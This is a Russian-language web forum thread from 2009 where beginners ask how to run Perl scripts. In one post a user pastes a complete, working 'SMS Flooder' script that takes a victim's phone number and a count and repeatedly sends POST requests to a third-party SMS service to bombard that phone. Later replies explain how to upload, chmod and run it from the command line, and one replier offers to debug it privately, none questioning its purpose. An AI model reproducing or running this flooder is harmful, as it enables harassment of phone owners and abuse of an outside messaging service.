Помощник
|
PERL, научите... |
Fabregas
|
Сообщение
#1
|
||
|
|
||
|
|||
Method |
9.4.2009, 23:26;
Ответить: Method
Сообщение
#2
|
|
Присоединяюсь к вопросу, сегодня кучу софта накачал чтобы как то perl код как то "оживить", особенно интересует про интерпритатор.
Сообщение отредактировал Method - 10.4.2009, 0:41 |
|
|
BigMax |
10.4.2009, 8:55;
Ответить: BigMax
Сообщение
#3
|
|
2 ТС: открой скрипт, посмотри в его начале директивы "use...."
Вот это и будут имена "библиотек" (можно так назвать), которые нужны. Управляются эти модули в денвере насколько я помню через /usr/bin/ppm.bat Что касается установки на хостинг. 1. Файлы должны быть сохранены в unix-формате. 2. После закачки файла надо дать ему права на выполнение. Команда chmod 755 <имя скрипта> Сообщение отредактировал BigMax - 10.4.2009, 9:43 |
|
|
Fubuki |
10.4.2009, 12:40;
Ответить: Fubuki
Сообщение
#4
|
|
файлы закачивать в папку cgi-bin или cgi-global. и дальше инсталировать как нужно...
|
|
|
Fabregas
|
Сообщение
#5
|
|
Всем огромное спасибо, сейчас буду пробовать...
Вполне вероятно, что будут еще опросы по этому поводу -------------------- |
|
|
Method |
10.4.2009, 16:44;
Ответить: Method
Сообщение
#6
|
|
А я если честно не понял ничего
например вот код: #!/usr/bin/perl ############################################### #SMS Flooder writen by DeGeneration X # ############################################### # # #phone number format: # #[country_code][operator_cod][phone_number] # #e.g. 76061234567 # # # ############################################### use IO::Socket; print "Phone number:"; $phonenumber = <STDIN>; chomp($phonenumber); print "How much sms:"; $muchsms = <STDIN>; chomp($muchsms); $server = "mobile.textstream.fi"; $path = "http://mobile.textstream.fi/msearch/smsreceive.php"; $data = "numberfrom=%2B"."$phonenumber"; $len = length $data; for($i=0;$i<$muchsms;$i++) { $get = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "Cannot Connect Host"; print $get "POST $path HTTP/1.0\n"; print $get "Host: ".$serv."\n"; print $get "Content-Type: application/x-www-form-urlencoded\n"; print $get "Content-Length: ".$len."\n\n"; print $get "$data\n"; } print "Done!"; чем его собирать? |
|
|
BigMax |
10.4.2009, 17:40;
Ответить: BigMax
Сообщение
#7
|
|
Его не надо ничем "собирать".
Достаточно залить на сервер, где установлен модуль "IO::Socket". Дать права на выполнение и запустить. Причём именно этот код нужно запускать из командной строки. |
|
|
Fabregas
|
Сообщение
#8
|
|
хм...загрузил...в скрипте 2 папки:
cgi-bin htdocs Обе загрузил в папку www Дальше смотрю в usr/local/miniperl (другого нет). Есть miniperl.exe . При выборе, открываеться командная строка. Чт о делать дальше, пока не сообразил...помогите -------------------- |
|
|
BigMax |
10.4.2009, 17:57;
Ответить: BigMax
Сообщение
#9
|
|
хм...загрузил...в скрипте 2 папки: cgi-bin htdocs Обе загрузил в папку www Дальше смотрю в usr/local/miniperl (другого нет). Есть miniperl.exe . При выборе, открываеться командная строка. Чт о делать дальше, пока не сообразил...помогите если не разберешься, кинь на почту архив со скриптом, вечером посмотрю. сейчас убегаю. почта в личке. |
|
|
Method |
10.4.2009, 18:02;
Ответить: Method
Сообщение
#10
|
|
|
Достаточно залить на сервер В каком формате файла?
|
|
|
||
|
Похожие темы
Тема | Ответов | Автор | Просмотров | Последний ответ | |
---|---|---|---|---|---|
Фотография DF Perl Informer - бесплатный скрипт для тестирования хостинга, web-shell | 0 | DFService | 1292 | 7.7.2020, 14:30 автор: DFService |
|
Perl Developer | 0 | YuliyaHR | 2149 | 19.2.2015, 15:25 автор: -YuliyaHR- |
|
Perl Developer | 0 | YuliyaHR | 2616 | 12.2.2015, 15:10 автор: -YuliyaHR- |
|
Вакансии REG.RU: программист Perl и ведущий разработчик (Perl) | 0 | tspirit | 2979 | 20.12.2011, 19:58 автор: -REG.RU- |
|
Вакансия Reg.ru: программист Perl | 0 | tspirit | 2676 | 28.7.2011, 14:09 автор: -REG.RU- |
Текстовая версия | Сейчас: 23.4.2024, 12:22 |